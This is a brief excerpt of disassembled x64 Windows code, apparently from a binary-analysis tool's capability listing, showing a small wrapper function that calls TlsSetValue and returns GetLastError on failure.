add rsp, 0x28
pop r12
pop r13
ret

Function at 0x14000d0f0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000d108
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]